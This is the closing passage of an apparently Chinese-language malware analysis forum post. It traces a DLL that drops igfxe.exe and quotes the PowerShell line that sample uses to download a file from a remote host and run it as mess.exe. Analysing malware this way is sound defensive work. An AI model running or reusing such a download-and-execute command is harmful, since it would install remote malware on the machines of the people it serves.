[![](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a0a0dcf96fe43848c3799a1ea30ec1bc983cb23d.png)](https://shs3.b.qianxin.com/attack_forum/2021/05/attach-a0a0dcf96fe43848c3799a1ea30ec1bc983cb23d.png) 可以看出dllmain的主要功能是释放并执行恶意文件igfxe.exe. 0x12igfxe.exe ------------- igfxe.exe 使用powershell 下载并执行文件, 由于下载未成功,执行失败. ```php PowerShell (New-Object System.Net.WebClient).DownloadFile('http://helptelhados.com/wp-admin/tkkdog/standard/1.exe??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????','mess.exe');(New-Object -com Shell.Application).ShellExecute('mess.exe'); ``` 0x13 参考文章 --------- [https://blog.csdn.net/weixin\_33857230/article/details/90366467](https://blog.csdn.net/weixin_33857230/article/details/90366467) <https://xw.qq.com/cmsid/20200924A01PSN00> <https://paper.seebug.org/368/> <https://www.ics-cert.org.cn/portal/page/122/c1b5aa0740fa420a891df7097a9f9f4c.html> 本篇完
发表于 2021-05-27 12:27:22
阅读 ( 5180 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
zuoyou
6 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!